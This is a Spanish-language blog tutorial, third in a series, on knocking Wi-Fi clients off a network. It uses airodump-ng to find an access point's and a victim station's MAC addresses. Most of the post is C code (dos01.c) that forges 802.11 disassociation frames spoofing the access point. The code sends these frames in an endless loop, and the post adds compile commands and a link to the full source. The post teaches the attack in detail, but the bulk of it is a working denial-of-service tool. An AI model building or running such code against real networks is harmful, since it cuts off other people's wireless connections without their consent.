3.- Denegación de Servicios mediante el envío de tramas de Disociación o desautenticación.

Posted by Star | Posted in | Posted on 22:14

Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes asociados.

Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script con los parámetros adecuados.

Supongamos que lanzamos airodump mas o menos así

Código:
bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D CH  1 ][ Elapsed: 0 s ][ 2009-07-14 09:47 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID 00:16:B6:41:03:5D   78   0       16        2    0   1  48  WEP  WEP         TallerWIFI BSSID              STATION            PWR  Lost  Packets  Probes 00:16:B6:41:03:5D  00:17:9A:C3:D6:B9   75     0        2
 
 
Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro programa, que le he llamdo dos01.c

En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red… esta es: send_packet

int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
   struct wif *wi = _wi_out;
   if (wi_write(wi, buf, count, NULL) == -1) {
      switch (errno) {
      case EAGAIN:
      case ENOBUFS:
         usleep(10000);
         return 0;
      }

      perror("wi_write()");
      return -1;
   }
   return 0;
}



Y también la función main cambia con respecto al anterior, esta es:

int main( int argc, char *argv[] ) // inicio del programa
{
    int z;

//Comprueba el paso de parámetros
   if( argc != 2 ) {
       printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

   setuid( getuid() );

unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];

// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);

/***************************************/
/* Construimos la trama de Disociación */
/***************************************/

// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;

// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;

// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];

// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];

// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];

// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;

// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa:   satisfactorio

// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
   "\n***** * ******\n");

dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado

printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");

z=1;
while(1)
   {
   send_packet(DISO,26); usleep(20000);
   printf ("\rEnviando trama número %i \r",z);
   fflush( stdout );
   z++;
   }

exit(0);
}



Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos… observa cómo se construye la trama “mal intencionada” y que se almacena en un array que he llamado DISO[]

Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.

Para compilarlo


Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dos01.o dos01.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dos01.o common.o crypto.o -o dos01 -Losdep -losdep   -lssl -lcrypto
 
y ahh!!! El código fuente completo lo descargáis en: http://www.megaupload.com/?d=MPEXQ8RN




Comments (0)

Publicar un comentario